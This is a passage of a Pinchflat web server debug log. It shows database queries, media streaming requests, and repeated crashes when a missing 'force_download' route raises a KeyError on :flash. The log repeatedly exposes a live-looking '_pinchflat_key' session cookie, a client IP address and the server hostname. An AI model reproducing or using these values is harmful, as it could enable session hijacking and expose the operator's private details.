m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141080] 04:53:43.058 [debug] QUERY OK source="settings" db=0.4ms idle=42.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.059 [debug] QUERY OK source="settings" db=0.3ms idle=42.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.060 [debug] QUERY OK source="settings" db=0.2ms idle=42.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.063 [info] Sent 200 in 7ms 04:53:43.115 [info] GET /sources/31/media/141080/force_download 04:53:43.116 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=95.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.117 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=59.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.117 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:53:43.118 [info] GET /download_logs 04:53:43.119 [debug] Processing with PinchflatWeb.Settings.SettingController.download_logs/2 Parameters: %{} Pipelines: [:browser] 04:53:43.119 [info] Sent 200 in 1ms 04:53:43.118 [error] #PID<0.139153.0> running PinchflatWeb.Endpoint (connection #PID<0.139092.0>, stream id 10) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/31/media/141080/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/141080/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139092.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/141080/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48128}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 10, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139153.0>, params: %{}, path_info: ["sources", "31", "media", "141080", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "65.21.124.77"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "65.21.124.77"} ], request_path: "/sources/31/media/141080/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXU0U3lYbByXgQAADJE"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139092.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/141080/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48128}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 10, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/141080/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139092.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/141080/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48128}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 10, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0 (truncated) 04:53:43.130 [info] GET /media/c28effa9-0901-4250-ae98-36df40680dbc/stream 04:53:43.130 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "c28effa9-0901-4250-ae98-36df40680dbc", "v" => "1780357325"} Pipelines: [:maybe_basic_auth] 04:53:43.131 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=72.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["c28effa9-0901-4250-ae98-36df40680dbc"] 04:53:43.132 [debug] Invalid range request for media item: c28effa9-0901-4250-ae98-36df40680dbc - serving full file 04:53:43.132 [info] Sent 200 in 2ms 04:53:43.168 [info] GET /sources/30/media/141039/edit 04:53:43.168 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "141039", "source_id" => "30"} Pipelines: [:browser] 04:53:43.170 [debug] QUERY OK source="media_items" db=0.5ms idle=110.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141039] 04:53:43.171 [debug] QUERY OK source="settings" db=0.4ms idle=110.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.172 [debug] QUERY OK source="settings" db=0.3ms idle=55.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.173 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=55.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.176 [info] Sent 200 in 8ms 04:53:43.200 [info] GET /sources/30/media/141039/force_download 04:53:43.201 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=69.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.202 [debug] QUERY OK source="settings" db=0.3ms idle=31.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.202 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:53:43.203 [error] #PID<0.139157.0> running PinchflatWeb.Endpoint (connection #PID<0.139139.0>, stream id 3) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/30/media/141039/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/30/media/141039/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139139.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/media/141039/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48158}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139157.0>, params: %{}, path_info: ["sources", "30", "media", "141039", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "65.21.124.77"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "65.21.124.77"} ], request_path: "/sources/30/media/141039/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXU0VL9-ej-ZUkAADKE"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139139.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/media/141039/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48158}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/30/media/141039/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139139.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/media/141039/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48158}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9X (truncated) 04:53:43.211 [info] GET /sources/30/media/141039 04:53:43.211 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141039", "prevent_download" => "true", "source_id" => "30"} Pipelines: [:browser] 04:53:43.212 [info] GET /media/5cd17bbf-5554-4eec-8a88-bd417a2d88fb/stream 04:53:43.213 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "5cd17bbf-5554-4eec-8a88-bd417a2d88fb", "v" => "1780357273"} Pipelines: [:maybe_basic_auth] 04:53:43.213 [debug] QUERY OK source="media_items" db=0.8ms idle=40.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141039] 04:53:43.214 [debug] QUERY OK source="media_items" db=1.1ms idle=41.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["5cd17bbf-5554-4eec-8a88-bd417a2d88fb"] 04:53:43.215 [debug] Invalid range request for media item: 5cd17bbf-5554-4eec-8a88-bd417a2d88fb - serving full file 04:53:43.215 [info] Sent 200 in 2ms 04:53:43.215 [debug] QUERY OK source="tasks" db=1.7ms idle=40.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141039] 04:53:43.216 [debug] QUERY OK source="sources" db=2.0ms idle=12.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 04:53:43.217 [debug] QUERY OK source="oban_jobs" db=0.8ms idle=14.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7246] 04:53:43.219 [debug] QUERY OK source="settings" db=0.4ms idle=5.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.219 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.222 [debug] QUERY OK source="settings" db=0.3ms queue=0.9ms idle=5.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.287 [info] GET /sources/31/media/141520/force_download 04:53:43.288 [info] GET /sources/31/media/141520/edit 04:53:43.288 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "141520", "source_id" => "31"} Pipelines: [:browser] 04:53:43.289 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=70.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141520] 04:53:43.291 [debug] QUERY OK source="media_profiles" db=3.3ms queue=0.1ms idle=71.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:43.292 [debug] QUERY OK source="settings" db=4.2ms queue=0.1ms idle=69.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.292 [debug] QUERY OK source="settings" db=1.9ms queue=0.1ms idle=70.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.293 [debug] QUERY OK source="settings" db=0.8ms queue=0.2ms idle=70.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM 